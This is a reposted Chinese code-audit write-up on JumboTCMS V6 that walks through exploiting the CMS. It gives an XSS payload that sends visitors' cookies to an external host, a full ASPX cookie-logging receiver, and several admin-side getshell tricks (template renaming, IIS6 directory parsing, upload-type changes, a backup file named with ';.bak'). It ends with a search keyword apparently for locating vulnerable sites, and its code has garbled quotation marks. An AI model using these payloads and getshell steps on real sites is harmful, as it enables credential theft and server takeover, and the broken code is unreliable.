好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

将博CMS(JumboTCMS)_V6代码审计总结 - 网站安全 - 自学

Author: 鄙人学的软件测试专业,最近学校准备上这方面的课程了,于是想先找套ASP.NET开源CMS玩玩,百度了下,看到了将博CMS,人气还挺高的,跑到官网下载了6.0最新版的,NND,安装都安装不了,反正哪都报错…真搞不懂官方是不是故意的…于是花了两天时间把程序调试好,终于能跑起来了…跑起来数据库数据都是手工插进去的…坑爹啊…程序功能看不到,只能看代码慢的很,很多东西也不好看…算了,勉强看吧…俺也是第一次接触这套程序。

本来想找着什么注入csrf什么的,代码看了一遍,没找着什么可以利用的,个人技术问题吧。

一、安装完没提示或自动删除安装文件

安装完成后未提示或自动删除install目录文件,

直接访问http://seay.sinaapp.com/install/default.aspx可直接重新安装程序,

 

二、Cookie保存用户名密码

Cookie东西有点多,

 

 

密码都保存在里面了,配合下面的XSS

 

三、统计插件XSS 漏洞 :

先看代码:

 

string _channeltype = q([cType]);

取到值,之后赋给_viewnum;最后转成javascript输出…直接XSS,

验证

http://seay.sinaapp.com//plus/viewcount.aspx?ccid=13&cType=article<script>alert(/1/)</script)

取cookie

http://seay.sinaapp.com/plus/viewcount.aspx?ccid=13&cType=article<script>document.location=’    http://seay.sinaapp.com/1.aspx?id=’+document.cookie</script>

 

顺便写了个aspx接收cookice值的

<%@ Page Language=]C#] AutoEventWireup=]true] %>

<head id=]Head1″ runat=]server]>

    <%@import Namespace=]System.IO]%>

    <script language=]C#] runat=]server]>

        protected void Page_Load(object sender, EventArgs e)

        {

            string str = Request["id"];

            str = System.Web.HttpUtility.UrlDecode(str);

            StreamWriter sw = null;

            string path = Server.MapPath([~/])+ [seay.txt];

            sw = new StreamWriter(path,true,new UTF8Encoding());

            sw.Write([————Cookie值:] +str+]————\n\b]);

            sw.Close();

            Response.Redirect([http://www.baidu.com/]);

        }

     </script>

</head>

保存为aspx就行了,拿到密码可以去解密,之后你们懂的,

 

 

后台GetShell方法:

四、编辑模板抓包改包生成shell;

我们进入后台后,可以看到前台更新这,

 

我们选择公用头部文件—编辑模版,

 

文件名是从数据库读取的ID,所以就避免了任意文件读取漏洞,

把模板内容修改为我们准备好的一句话(记得先备份原模版,记得改回来),用live http header插件抓包,修改提交地址里面的header.htm为header.aspx,之后Replay提交,就会在

http:// www.2cto .com /templates/default/include/目录下生成header.aspx,shell地址http://seay.sinaapp.com/templates/default/include/header.aspx

 

 

五、创建目录未过滤;

先看 源码 :

 

Directory.Exists()这里是检查文件夹是否存在,再往下看

 

没过滤,直接就生成了,测试下,

后台—系统管理—频道管理。我们现在添加频道,上个图

 

对于IIS6.0,创建目录未过滤目录名称,我们把频道实际目录写seay.aspx之类的,利用IIS解析getshell。你们懂得。

好了,现在我们生成目录,就在根目录有了一个a.aspx的目录

 

六、上传文件类型修改;

再看下面,在添加频道和内容模型两个地方,可以修改允许上传的类型。

 

直接写aspx之类的上传类型就可以了… 

 

七、蛋疼备份 数据库 自定义文件名;

还是先看源码:

 这是MSSQL的,

 很明显过滤了’号和;分号,看来程序员知道IIS的解析,

 

但是看下ACCESS的

 

就没过滤了…不知道怎么想的

我们在留言什么的能写东西的地方写个一句话,

再切换到 系统管理—数据库维护,直接修改备份的文件名为seay. asp x;.bak如果名字不是bak扩展名,它会自动加.bak,备份路径_data\databackup\seay.aspx;.bak

 

八、在线执行SQL

在 系统 管理下,我们可以看到有一个[在线执行SQL],没有过滤SQL命令,

如过权限不错的话,可以用来提权哦。

算了…就写到这儿了。蛋疼的很…安装不了很多东西都没法去上图验证…

关键字:Powered by JumbotCms

查看更多关于将博CMS(JumboTCMS)_V6代码审计总结 - 网站安全 - 自学的详细内容...

  阅读:66次